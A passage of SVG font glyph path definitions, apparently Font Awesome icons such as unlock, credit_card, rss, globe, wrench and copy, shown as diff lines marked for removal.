-q-93 26 -192 26t-192 -26q-16 11 -42.5 27t-83.5 38.5t-85 13.5q-45 -113 -8 -204q-79 -87 -79 -206q0 -85 20.5 -150t52.5 -105t80.5 -67t94 -39t102.5 -18q-39 -36 -49 -103q-21 -10 -45 -15t-57 -5t-65.5 21.5t-55.5 62.5q-19 32 -48.5 52t-49.5 24l-20 3q-21 0 -29 -4.5
-t-5 -11.5t9 -14t13 -12l7 -5q22 -10 43.5 -38t31.5 -51l10 -23q13 -38 44 -61.5t67 -30t69.5 -7t55.5 3.5l23 4q0 -38 0.5 -88.5t0.5 -54.5q0 -18 -13 -30t-40 -7q-232 77 -378.5 277.5t-146.5 451.5q0 209 103 385.5t279.5 279.5t385.5 103zM291 305q3 7 -7 12
-q-10 3 -13 -2q-3 -7 7 -12q9 -6 13 2zM322 271q7 5 -2 16q-10 9 -16 3q-7 -5 2 -16q10 -10 16 -3zM352 226q9 7 0 19q-8 13 -17 6q-9 -5 0 -18t17 -7zM394 184q8 8 -4 19q-12 12 -20 3q-9 -8 4 -19q12 -12 20 -3zM451 159q3 11 -13 16q-15 4 -19 -7t13 -15q15 -6 19 6z
-M514 154q0 13 -17 11q-16 0 -16 -11q0 -13 17 -11q16 0 16 11zM572 164q-2 11 -18 9q-16 -3 -14 -15t18 -8t14 14z" />
-    <glyph glyph-name="unlock" unicode="&#xf09c;" horiz-adv-x="1664" 
-d="M1664 960v-256q0 -26 -19 -45t-45 -19h-64q-26 0 -45 19t-19 45v256q0 106 -75 181t-181 75t-181 -75t-75 -181v-192h96q40 0 68 -28t28 -68v-576q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v576q0 40 28 68t68 28h672v192q0 185 131.5 316.5t316.5 131.5
-t316.5 -131.5t131.5 -316.5z" />
-    <glyph glyph-name="credit_card" unicode="&#xf09d;" horiz-adv-x="1920" 
-d="M1760 1408q66 0 113 -47t47 -113v-1216q0 -66 -47 -113t-113 -47h-1600q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1600zM160 1280q-13 0 -22.5 -9.5t-9.5 -22.5v-224h1664v224q0 13 -9.5 22.5t-22.5 9.5h-1600zM1760 0q13 0 22.5 9.5t9.5 22.5v608h-1664v-608
-q0 -13 9.5 -22.5t22.5 -9.5h1600zM256 128v128h256v-128h-256zM640 128v128h384v-128h-384z" />
-    <glyph glyph-name="rss" unicode="&#xf09e;" horiz-adv-x="1408" 
-d="M384 192q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM896 69q2 -28 -17 -48q-18 -21 -47 -21h-135q-25 0 -43 16.5t-20 41.5q-22 229 -184.5 391.5t-391.5 184.5q-25 2 -41.5 20t-16.5 43v135q0 29 21 47q17 17 43 17h5q160 -13 306 -80.5
-t259 -181.5q114 -113 181.5 -259t80.5 -306zM1408 67q2 -27 -18 -47q-18 -20 -46 -20h-143q-26 0 -44.5 17.5t-19.5 42.5q-12 215 -101 408.5t-231.5 336t-336 231.5t-408.5 102q-25 1 -42.5 19.5t-17.5 43.5v143q0 28 20 46q18 18 44 18h3q262 -13 501.5 -120t425.5 -294
-q187 -186 294 -425.5t120 -501.5z" />
-    <glyph glyph-name="hdd" unicode="&#xf0a0;" 
-d="M1040 320q0 -33 -23.5 -56.5t-56.5 -23.5t-56.5 23.5t-23.5 56.5t23.5 56.5t56.5 23.5t56.5 -23.5t23.5 -56.5zM1296 320q0 -33 -23.5 -56.5t-56.5 -23.5t-56.5 23.5t-23.5 56.5t23.5 56.5t56.5 23.5t56.5 -23.5t23.5 -56.5zM1408 160v320q0 13 -9.5 22.5t-22.5 9.5
-h-1216q-13 0 -22.5 -9.5t-9.5 -22.5v-320q0 -13 9.5 -22.5t22.5 -9.5h1216q13 0 22.5 9.5t9.5 22.5zM178 640h1180l-157 482q-4 13 -16 21.5t-26 8.5h-782q-14 0 -26 -8.5t-16 -21.5zM1536 480v-320q0 -66 -47 -113t-113 -47h-1216q-66 0 -113 47t-47 113v320q0 25 16 75
-l197 606q17 53 63 86t101 33h782q55 0 101 -33t63 -86l197 -606q16 -50 16 -75z" />
-    <glyph glyph-name="bullhorn" unicode="&#xf0a1;" horiz-adv-x="1792" 
-d="M1664 896q53 0 90.5 -37.5t37.5 -90.5t-37.5 -90.5t-90.5 -37.5v-384q0 -52 -38 -90t-90 -38q-417 347 -812 380q-58 -19 -91 -66t-31 -100.5t40 -92.5q-20 -33 -23 -65.5t6 -58t33.5 -55t48 -50t61.5 -50.5q-29 -58 -111.5 -83t-168.5 -11.5t-132 55.5q-7 23 -29.5 87.5
-t-32 94.5t-23 89t-15 101t3.5 98.5t22 110.5h-122q-66 0 -113 47t-47 113v192q0 66 47 113t113 47h480q435 0 896 384q52 0 90 -38t38 -90v-384zM1536 292v954q-394 -302 -768 -343v-270q377 -42 768 -341z" />
-    <glyph glyph-name="bell" unicode="&#xf0a2;" horiz-adv-x="1792" 
-d="M912 -160q0 16 -16 16q-59 0 -101.5 42.5t-42.5 101.5q0 16 -16 16t-16 -16q0 -73 51.5 -124.5t124.5 -51.5q16 0 16 16zM246 128h1300q-266 300 -266 832q0 51 -24 105t-69 103t-121.5 80.5t-169.5 31.5t-169.5 -31.5t-121.5 -80.5t-69 -103t-24 -105q0 -532 -266 -832z
-M1728 128q0 -52 -38 -90t-90 -38h-448q0 -106 -75 -181t-181 -75t-181 75t-75 181h-448q-52 0 -90 38t-38 90q50 42 91 88t85 119.5t74.5 158.5t50 206t19.5 260q0 152 117 282.5t307 158.5q-8 19 -8 39q0 40 28 68t68 28t68 -28t28 -68q0 -20 -8 -39q190 -28 307 -158.5
-t117 -282.5q0 -139 19.5 -260t50 -206t74.5 -158.5t85 -119.5t91 -88z" />
-    <glyph glyph-name="certificate" unicode="&#xf0a3;" 
-d="M1376 640l138 -135q30 -28 20 -70q-12 -41 -52 -51l-188 -48l53 -186q12 -41 -19 -70q-29 -31 -70 -19l-186 53l-48 -188q-10 -40 -51 -52q-12 -2 -19 -2q-31 0 -51 22l-135 138l-135 -138q-28 -30 -70 -20q-41 11 -51 52l-48 188l-186 -53q-41 -12 -70 19q-31 29 -19 70
-l53 186l-188 48q-40 10 -52 51q-10 42 20 70l138 135l-138 135q-30 28 -20 70q12 41 52 51l188 48l-53 186q-12 41 19 70q29 31 70 19l186 -53l48 188q10 41 51 51q41 12 70 -19l135 -139l135 139q29 30 70 19q41 -10 51 -51l48 -188l186 53q41 12 70 -19q31 -29 19 -70
-l-53 -186l188 -48q40 -10 52 -51q10 -42 -20 -70z" />
-    <glyph glyph-name="hand_right" unicode="&#xf0a4;" horiz-adv-x="1792" 
-d="M256 192q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1664 768q0 51 -39 89.5t-89 38.5h-576q0 20 15 48.5t33 55t33 68t15 84.5q0 67 -44.5 97.5t-115.5 30.5q-24 0 -90 -139q-24 -44 -37 -65q-40 -64 -112 -145q-71 -81 -101 -106
-q-69 -57 -140 -57h-32v-640h32q72 0 167 -32t193.5 -64t179.5 -32q189 0 189 167q0 26 -5 56q30 16 47.5 52.5t17.5 73.5t-18 69q53 50 53 119q0 25 -10 55.5t-25 47.5h331q52 0 90 38t38 90zM1792 769q0 -105 -75.5 -181t-180.5 -76h-169q-4 -62 -37 -119q3 -21 3 -43
-q0 -101 -60 -178q1 -139 -85 -219.5t-227 -80.5q-133 0 -322 69q-164 59 -223 59h-288q-53 0 -90.5 37.5t-37.5 90.5v640q0 53 37.5 90.5t90.5 37.5h288q10 0 21.5 4.5t23.5 14t22.5 18t24 22.5t20.5 21.5t19 21.5t14 17q65 74 100 129q13 21 33 62t37 72t40.5 63t55 49.5
-t69.5 17.5q125 0 206.5 -67t81.5 -189q0 -68 -22 -128h374q104 0 180 -76t76 -179z" />
-    <glyph glyph-name="hand_left" unicode="&#xf0a5;" horiz-adv-x="1792" 
-d="M1376 128h32v640h-32q-35 0 -67.5 12t-62.5 37t-50 46t-49 54q-8 9 -12 14q-72 81 -112 145q-14 22 -38 68q-1 3 -10.5 22.5t-18.5 36t-20 35.5t-21.5 30.5t-18.5 11.5q-71 0 -115.5 -30.5t-44.5 -97.5q0 -43 15 -84.5t33 -68t33 -55t15 -48.5h-576q-50 0 -89 -38.5
-t-39 -89.5q0 -52 38 -90t90 -38h331q-15 -17 -25 -47.5t-10 -55.5q0 -69 53 -119q-18 -32 -18 -69t17.5 -73.5t47.5 -52.5q-4 -24 -4 -56q0 -85 48.5 -126t135.5 -41q84 0 183 32t194 64t167 32zM1664 192q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45z
-M1792 768v-640q0 -53 -37.5 -90.5t-90.5 -37.5h-288q-59 0 -223 -59q-190 -69 -317 -69q-142 0 -230 77.5t-87 217.5l1 5q-61 76 -61 178q0 22 3 43q-33 57 -37 119h-169q-105 0 -180.5 76t-75.5 181q0 103 76 179t180 76h374q-22 60 -22 128q0 122 81.5 189t206.5 67
-q38 0 69.5 -17.5t55 -49.5t40.5 -63t37 -72t33 -62q35 -55 100 -129q2 -3 14 -17t19 -21.5t20.5 -21.5t24 -22.5t22.5 -18t23.5 -14t21.5 -4.5h288q53 0 90.5 -37.5t37.5 -90.5z" />
-    <glyph glyph-name="hand_up" unicode="&#xf0a6;" 
-d="M1280 -64q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1408 700q0 189 -167 189q-26 0 -56 -5q-16 30 -52.5 47.5t-73.5 17.5t-69 -18q-50 53 -119 53q-25 0 -55.5 -10t-47.5 -25v331q0 52 -38 90t-90 38q-51 0 -89.5 -39t-38.5 -89v-576
-q-20 0 -48.5 15t-55 33t-68 33t-84.5 15q-67 0 -97.5 -44.5t-30.5 -115.5q0 -24 139 -90q44 -24 65 -37q64 -40 145 -112q81 -71 106 -101q57 -69 57 -140v-32h640v32q0 72 32 167t64 193.5t32 179.5zM1536 705q0 -133 -69 -322q-59 -164 -59 -223v-288q0 -53 -37.5 -90.5
-t-90.5 -37.5h-640q-53 0 -90.5 37.5t-37.5 90.5v288q0 10 -4.5 21.5t-14 23.5t-18 22.5t-22.5 24t-21.5 20.5t-21.5 19t-17 14q-74 65 -129 100q-21 13 -62 33t-72 37t-63 40.5t-49.5 55t-17.5 69.5q0 125 67 206.5t189 81.5q68 0 128 -22v374q0 104 76 180t179 76
-q105 0 181 -75.5t76 -180.5v-169q62 -4 119 -37q21 3 43 3q101 0 178 -60q139 1 219.5 -85t80.5 -227z" />
-    <glyph glyph-name="hand_down" unicode="&#xf0a7;" 
-d="M1408 576q0 84 -32 183t-64 194t-32 167v32h-640v-32q0 -35 -12 -67.5t-37 -62.5t-46 -50t-54 -49q-9 -8 -14 -12q-81 -72 -145 -112q-22 -14 -68 -38q-3 -1 -22.5 -10.5t-36 -18.5t-35.5 -20t-30.5 -21.5t-11.5 -18.5q0 -71 30.5 -115.5t97.5 -44.5q43 0 84.5 15t68 33
-t55 33t48.5 15v-576q0 -50 38.5 -89t89.5 -39q52 0 90 38t38 90v331q46 -35 103 -35q69 0 119 53q32 -18 69 -18t73.5 17.5t52.5 47.5q24 -4 56 -4q85 0 126 48.5t41 135.5zM1280 1344q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1536 580
-q0 -142 -77.5 -230t-217.5 -87l-5 1q-76 -61 -178 -61q-22 0 -43 3q-54 -30 -119 -37v-169q0 -105 -76 -180.5t-181 -75.5q-103 0 -179 76t-76 180v374q-54 -22 -128 -22q-121 0 -188.5 81.5t-67.5 206.5q0 38 17.5 69.5t49.5 55t63 40.5t72 37t62 33q55 35 129 100
-q3 2 17 14t21.5 19t21.5 20.5t22.5 24t18 22.5t14 23.5t4.5 21.5v288q0 53 37.5 90.5t90.5 37.5h640q53 0 90.5 -37.5t37.5 -90.5v-288q0 -59 59 -223q69 -190 69 -317z" />
-    <glyph glyph-name="circle_arrow_left" unicode="&#xf0a8;" 
-d="M1280 576v128q0 26 -19 45t-45 19h-502l189 189q19 19 19 45t-19 45l-91 91q-18 18 -45 18t-45 -18l-362 -362l-91 -91q-18 -18 -18 -45t18 -45l91 -91l362 -362q18 -18 45 -18t45 18l91 91q18 18 18 45t-18 45l-189 189h502q26 0 45 19t19 45zM1536 640
-q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="circle_arrow_right" unicode="&#xf0a9;" 
-d="M1285 640q0 27 -18 45l-91 91l-362 362q-18 18 -45 18t-45 -18l-91 -91q-18 -18 -18 -45t18 -45l189 -189h-502q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h502l-189 -189q-19 -19 -19 -45t19 -45l91 -91q18 -18 45 -18t45 18l362 362l91 91q18 18 18 45zM1536 640
-q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="circle_arrow_up" unicode="&#xf0aa;" 
-d="M1284 641q0 27 -18 45l-362 362l-91 91q-18 18 -45 18t-45 -18l-91 -91l-362 -362q-18 -18 -18 -45t18 -45l91 -91q18 -18 45 -18t45 18l189 189v-502q0 -26 19 -45t45 -19h128q26 0 45 19t19 45v502l189 -189q19 -19 45 -19t45 19l91 91q18 18 18 45zM1536 640
-q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="circle_arrow_down" unicode="&#xf0ab;" 
-d="M1284 639q0 27 -18 45l-91 91q-18 18 -45 18t-45 -18l-189 -189v502q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-502l-189 189q-19 19 -45 19t-45 -19l-91 -91q-18 -18 -18 -45t18 -45l362 -362l91 -91q18 -18 45 -18t45 18l91 91l362 362q18 18 18 45zM1536 640
-q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="globe" unicode="&#xf0ac;" 
-d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM1042 887q-2 -1 -9.5 -9.5t-13.5 -9.5q2 0 4.5 5t5 11t3.5 7q6 7 22 15q14 6 52 12q34 8 51 -11
-q-2 2 9.5 13t14.5 12q3 2 15 4.5t15 7.5l2 22q-12 -1 -17.5 7t-6.5 21q0 -2 -6 -8q0 7 -4.5 8t-11.5 -1t-9 -1q-10 3 -15 7.5t-8 16.5t-4 15q-2 5 -9.5 11t-9.5 10q-1 2 -2.5 5.5t-3 6.5t-4 5.5t-5.5 2.5t-7 -5t-7.5 -10t-4.5 -5q-3 2 -6 1.5t-4.5 -1t-4.5 -3t-5 -3.5
-q-3 -2 -8.5 -3t-8.5 -2q15 5 -1 11q-10 4 -16 3q9 4 7.5 12t-8.5 14h5q-1 4 -8.5 8.5t-17.5 8.5t-13 6q-8 5 -34 9.5t-33 0.5q-5 -6 -4.5 -10.5t4 -14t3.5 -12.5q1 -6 -5.5 -13t-6.5 -12q0 -7 14 -15.5t10 -21.5q-3 -8 -16 -16t-16 -12q-5 -8 -1.5 -18.5t10.5 -16.5
-q2 -2 1.5 -4t-3.5 -4.5t-5.5 -4t-6.5 -3.5l-3 -2q-11 -5 -20.5 6t-13.5 26q-7 25 -16 30q-23 8 -29 -1q-5 13 -41 26q-25 9 -58 4q6 1 0 15q-7 15 -19 12q3 6 4 17.5t1 13.5q3 13 12 23q1 1 7 8.5t9.5 13.5t0.5 6q35 -4 50 11q5 5 11.5 17t10.5 17q9 6 14 5.5t14.5 -5.5
-t14.5 -5q14 -1 15.5 11t-7.5 20q12 -1 3 17q-4 7 -8 9q-12 4 -27 -5q-8 -4 2 -8q-1 1 -9.5 -10.5t-16.5 -17.5t-16 5q-1 1 -5.5 13.5t-9.5 13.5q-8 0 -16 -15q3 8 -11 15t-24 8q19 12 -8 27q-7 4 -20.5 5t-19.5 -4q-5 -7 -5.5 -11.5t5 -8t10.5 -5.5t11.5 -4t8.5 -3
-q14 -10 8 -14q-2 -1 -8.5 -3.5t-11.5 -4.5t-6 -4q-3 -4 0 -14t-2 -14q-5 5 -9 17.5t-7 16.5q7 -9 -25 -6l-10 1q-4 0 -16 -2t-20.5 -1t-13.5 8q-4 8 0 20q1 4 4 2q-4 3 -11 9.5t-10 8.5q-46 -15 -94 -41q6 -1 12 1q5 2 13 6.5t10 5.5q34 14 42 7l5 5q14 -16 20 -25
-q-7 4 -30 1q-20 -6 -22 -12q7 -12 5 -18q-4 3 -11.5 10t-14.5 11t-15 5q-16 0 -22 -1q-146 -80 -235 -222q7 -7 12 -8q4 -1 5 -9t2.5 -11t11.5 3q9 -8 3 -19q1 1 44 -27q19 -17 21 -21q3 -11 -10 -18q-1 2 -9 9t-9 4q-3 -5 0.5 -18.5t10.5 -12.5q-7 0 -9.5 -16t-2.5 -35.5
-t-1 -23.5l2 -1q-3 -12 5.5 -34.5t21.5 -19.5q-13 -3 20 -43q6 -8 8 -9q3 -2 12 -7.5t15 -10t10 -10.5q4 -5 10 -22.5t14 -23.5q-2 -6 9.5 -20t10.5 -23q-1 0 -2.5 -1t-2.5 -1q3 -7 15.5 -14t15.5 -13q1 -3 2 -10t3 -11t8 -2q2 20 -24 62q-15 25 -17 29q-3 5 -5.5 15.5
-t-4.5 14.5q2 0 6 -1.5t8.5 -3.5t7.5 -4t2 -3q-3 -7 2 -17.5t12 -18.5t17 -19t12 -13q6 -6 14 -19.5t0 -13.5q9 0 20 -10.5t17 -19.5q5 -8 8 -26t5 -24q2 -7 8.5 -13.5t12.5 -9.5l16 -8t13 -7q5 -2 18.5 -10.5t21.5 -11.5q10 -4 16 -4t14.5 2.5t13.5 3.5q15 2 29 -15t21 -21
-q36 -19 55 -11q-2 -1 0.5 -7.5t8 -15.5t9 -14.5t5.5 -8.5q5 -6 18 -15t18 -15q6 4 7 9q-3 -8 7 -20t18 -10q14 3 14 32q-31 -15 -49 18q0 1 -2.5 5.5t-4 8.5t-2.5 8.5t0 7.5t5 3q9 0 10 3.5t-2 12.5t-4 13q-1 8 -11 20t-12 15q-5 -9 -16 -8t-16 9q0 -1 -1.5 -5.5t-1.5 -6.5
-q-13 0 -15 1q1 3 2.5 17.5t3.5 22.5q1 4 5.5 12t7.5 14.5t4 12.5t-4.5 9.5t-17.5 2.5q-19 -1 -26 -20q-1 -3 -3 -10.5t-5 -11.5t-9 -7q-7 -3 -24 -2t-24 5q-13 8 -22.5 29t-9.5 37q0 10 2.5 26.5t3 25t-5.5 24.5q3 2 9 9.5t10 10.5q2 1 4.5 1.5t4.5 0t4 1.5t3 6q-1 1 -4 3
-q-3 3 -4 3q7 -3 28.5 1.5t27.5 -1.5q15 -11 22 2q0 1 -2.5 9.5t-0.5 13.5q5 -27 29 -9q3 -3 15.5 -5t17.5 -5q3 -2 7 -5.5t5.5 -4.5t5 0.5t8.5 6.5q10 -14 12 -24q11 -40 19 -44q7 -3 11 -2t4.5 9.5t0 14t-1.5 12.5l-1 8v18l-1 8q-15 3 -18.5 12t1.5 18.5t15 18.5q1 1 8 3.5
-t15.5 6.5t12.5 8q21 19 15 35q7 0 11 9q-1 0 -5 3t-7.5 5t-4.5 2q9 5 2 16q5 3 7.5 11t7.5 10q9 -12 21 -2q8 8 1 16q5 7 20.5 10.5t18.5 9.5q7 -2 8 2t1 12t3 12q4 5 15 9t13 5l17 11q3 4 0 4q18 -2 31 11q10 11 -6 20q3 6 -3 9.5t-15 5.5q3 1 11.5 0.5t10.5 1.5
-q15 10 -7 16q-17 5 -43 -12zM879 10q206 36 351 189q-3 3 -12.5 4.5t-12.5 3.5q-18 7 -24 8q1 7 -2.5 13t-8 9t-12.5 8t-11 7q-2 2 -7 6t-7 5.5t-7.5 4.5t-8.5 2t-10 -1l-3 -1q-3 -1 -5.5 -2.5t-5.5 -3t-4 -3t0 -2.5q-21 17 -36 22q-5 1 -11 5.5t-10.5 7t-10 1.5t-11.5 -7
-q-5 -5 -6 -15t-2 -13q-7 5 0 17.5t2 18.5q-3 6 -10.5 4.5t-12 -4.5t-11.5 -8.5t-9 -6.5t-8.5 -5.5t-8.5 -7.5q-3 -4 -6 -12t-5 -11q-2 4 -11.5 6.5t-9.5 5.5q2 -10 4 -35t5 -38q7 -31 -12 -48q-27 -25 -29 -40q-4 -22 12 -26q0 -7 -8 -20.5t-7 -21.5q0 -6 2 -16z" />
-    <glyph glyph-name="wrench" unicode="&#xf0ad;" horiz-adv-x="1664" 
-d="M384 64q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1028 484l-682 -682q-37 -37 -90 -37q-52 0 -91 37l-106 108q-38 36 -38 90q0 53 38 91l681 681q39 -98 114.5 -173.5t173.5 -114.5zM1662 919q0 -39 -23 -106q-47 -134 -164.5 -217.5
-t-258.5 -83.5q-185 0 -316.5 131.5t-131.5 316.5t131.5 316.5t316.5 131.5q58 0 121.5 -16.5t107.5 -46.5q16 -11 16 -28t-16 -28l-293 -169v-224l193 -107q5 3 79 48.5t135.5 81t70.5 35.5q15 0 23.5 -10t8.5 -25z" />
-    <glyph glyph-name="tasks" unicode="&#xf0ae;" horiz-adv-x="1792" 
-d="M1024 128h640v128h-640v-128zM640 640h1024v128h-1024v-128zM1280 1152h384v128h-384v-128zM1792 320v-256q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 832v-256q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19
-t-19 45v256q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 1344v-256q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h1664q26 0 45 -19t19 -45z" />
-    <glyph glyph-name="filter" unicode="&#xf0b0;" horiz-adv-x="1408" 
-d="M1403 1241q17 -41 -14 -70l-493 -493v-742q0 -42 -39 -59q-13 -5 -25 -5q-27 0 -45 19l-256 256q-19 19 -19 45v486l-493 493q-31 29 -14 70q17 39 59 39h1280q42 0 59 -39z" />
-    <glyph glyph-name="briefcase" unicode="&#xf0b1;" horiz-adv-x="1792" 
-d="M640 1280h512v128h-512v-128zM1792 640v-480q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v480h672v-160q0 -26 19 -45t45 -19h320q26 0 45 19t19 45v160h672zM1024 640v-128h-256v128h256zM1792 1120v-384h-1792v384q0 66 47 113t113 47h352v160q0 40 28 68
-t68 28h576q40 0 68 -28t28 -68v-160h352q66 0 113 -47t47 -113z" />
-    <glyph glyph-name="fullscreen" unicode="&#xf0b2;" 
-d="M1283 995l-355 -355l355 -355l144 144q29 31 70 14q39 -17 39 -59v-448q0 -26 -19 -45t-45 -19h-448q-42 0 -59 40q-17 39 14 69l144 144l-355 355l-355 -355l144 -144q31 -30 14 -69q-17 -40 -59 -40h-448q-26 0 -45 19t-19 45v448q0 42 40 59q39 17 69 -14l144 -144
-l355 355l-355 355l-144 -144q-19 -19 -45 -19q-12 0 -24 5q-40 17 -40 59v448q0 26 19 45t45 19h448q42 0 59 -40q17 -39 -14 -69l-144 -144l355 -355l355 355l-144 144q-31 30 -14 69q17 40 59 40h448q26 0 45 -19t19 -45v-448q0 -42 -39 -59q-13 -5 -25 -5q-26 0 -45 19z
-" />
-    <glyph glyph-name="group" unicode="&#xf0c0;" horiz-adv-x="1920" 
-d="M593 640q-162 -5 -265 -128h-134q-82 0 -138 40.5t-56 118.5q0 353 124 353q6 0 43.5 -21t97.5 -42.5t119 -21.5q67 0 133 23q-5 -37 -5 -66q0 -139 81 -256zM1664 3q0 -120 -73 -189.5t-194 -69.5h-874q-121 0 -194 69.5t-73 189.5q0 53 3.5 103.5t14 109t26.5 108.5
-t43 97.5t62 81t85.5 53.5t111.5 20q10 0 43 -21.5t73 -48t107 -48t135 -21.5t135 21.5t107 48t73 48t43 21.5q61 0 111.5 -20t85.5 -53.5t62 -81t43 -97.5t26.5 -108.5t14 -109t3.5 -103.5zM640 1280q0 -106 -75 -181t-181 -75t-181 75t-75 181t75 181t181 75t181 -75
-t75 -181zM1344 896q0 -159 -112.5 -271.5t-271.5 -112.5t-271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5zM1920 671q0 -78 -56 -118.5t-138 -40.5h-134q-103 123 -265 128q81 117 81 256q0 29 -5 66q66 -23 133 -23q59 0 119 21.5t97.5 42.5
-t43.5 21q124 0 124 -353zM1792 1280q0 -106 -75 -181t-181 -75t-181 75t-75 181t75 181t181 75t181 -75t75 -181z" />
-    <glyph glyph-name="link" unicode="&#xf0c1;" horiz-adv-x="1664" 
-d="M1456 320q0 40 -28 68l-208 208q-28 28 -68 28q-42 0 -72 -32q3 -3 19 -18.5t21.5 -21.5t15 -19t13 -25.5t3.5 -27.5q0 -40 -28 -68t-68 -28q-15 0 -27.5 3.5t-25.5 13t-19 15t-21.5 21.5t-18.5 19q-33 -31 -33 -73q0 -40 28 -68l206 -207q27 -27 68 -27q40 0 68 26
-l147 146q28 28 28 67zM753 1025q0 40 -28 68l-206 207q-28 28 -68 28q-39 0 -68 -27l-147 -146q-28 -28 -28 -67q0 -40 28 -68l208 -208q27 -27 68 -27q42 0 72 31q-3 3 -19 18.5t-21.5 21.5t-15 19t-13 25.5t-3.5 27.5q0 40 28 68t68 28q15 0 27.5 -3.5t25.5 -13t19 -15
-t21.5 -21.5t18.5 -19q33 31 33 73zM1648 320q0 -120 -85 -203l-147 -146q-83 -83 -203 -83q-121 0 -204 85l-206 207q-83 83 -83 203q0 123 88 209l-88 88q-86 -88 -208 -88q-120 0 -204 84l-208 208q-84 84 -84 204t85 203l147 146q83 83 203 83q121 0 204 -85l206 -207
-q83 -83 83 -203q0 -123 -88 -209l88 -88q86 88 208 88q120 0 204 -84l208 -208q84 -84 84 -204z" />
-    <glyph glyph-name="cloud" unicode="&#xf0c2;" horiz-adv-x="1920" 
-d="M1920 384q0 -159 -112.5 -271.5t-271.5 -112.5h-1088q-185 0 -316.5 131.5t-131.5 316.5q0 132 71 241.5t187 163.5q-2 28 -2 43q0 212 150 362t362 150q158 0 286.5 -88t187.5 -230q70 62 166 62q106 0 181 -75t75 -181q0 -75 -41 -138q129 -30 213 -134.5t84 -239.5z
-" />
-    <glyph glyph-name="beaker" unicode="&#xf0c3;" horiz-adv-x="1664" 
-d="M1527 88q56 -89 21.5 -152.5t-140.5 -63.5h-1152q-106 0 -140.5 63.5t21.5 152.5l503 793v399h-64q-26 0 -45 19t-19 45t19 45t45 19h512q26 0 45 -19t19 -45t-19 -45t-45 -19h-64v-399zM748 813l-272 -429h712l-272 429l-20 31v37v399h-128v-399v-37z" />
-    <glyph glyph-name="cut" unicode="&#xf0c4;" horiz-adv-x="1792" 
-d="M960 640q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1260 576l507 -398q28 -20 25 -56q-5 -35 -35 -51l-128 -64q-13 -7 -29 -7q-17 0 -31 8l-690 387l-110 -66q-8 -4 -12 -5q14 -49 10 -97q-7 -77 -56 -147.5t-132 -123.5q-132 -84 -277 -84
-q-136 0 -222 78q-90 84 -79 207q7 76 56 147t131 124q132 84 278 84q83 0 151 -31q9 13 22 22l122 73l-122 73q-13 9 -22 22q-68 -31 -151 -31q-146 0 -278 84q-82 53 -131 124t-56 147q-5 59 15.5 113t63.5 93q85 79 222 79q145 0 277 -84q83 -52 132 -123t56 -148
-q4 -48 -10 -97q4 -1 12 -5l110 -66l690 387q14 8 31 8q16 0 29 -7l128 -64q30 -16 35 -51q3 -36 -25 -56zM579 836q46 42 21 108t-106 117q-92 59 -192 59q-74 0 -113 -36q-46 -42 -21 -108t106 -117q92 -59 192 -59q74 0 113 36zM494 91q81 51 106 117t-21 108
-q-39 36 -113 36q-100 0 -192 -59q-81 -51 -106 -117t21 -108q39 -36 113 -36q100 0 192 59zM672 704l96 -58v11q0 36 33 56l14 8l-79 47l-26 -26q-3 -3 -10 -11t-12 -12q-2 -2 -4 -3.5t-3 -2.5zM896 480l96 -32l736 576l-128 64l-768 -431v-113l-160 -96l9 -8q2 -2 7 -6
-q4 -4 11 -12t11 -12l26 -26zM1600 64l128 64l-520 408l-177 -138q-2 -3 -13 -7z" />
-    <glyph glyph-name="copy" unicode="&#xf0c5;" horiz-adv-x="1792" 
-d="M1696 1152q40 0 68 -28t28 -68v-1216q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v288h-544q-40 0 -68 28t-28 68v672q0 40 20 88t48 76l408 408q28 28 76 48t88 20h416q40 0 68 -28t28 -68v-328q68 40 128 40h416zM1152 939l-299 -299h299v299zM512 1323l-299 -299
-h299v299zM708 676l316 316v416h-384v-416q0 -40 -28 -68t-68 -28h-416v-640h512v256q0 40 20 88t48 76zM1664 -128v1152h-384v-416q0 -40 -28 -68t-68 -28h-416v-640h896z" />
-    <glyph glyph-name="paper_clip" unicode="&#xf0c6;" horiz-adv-x="1408" 
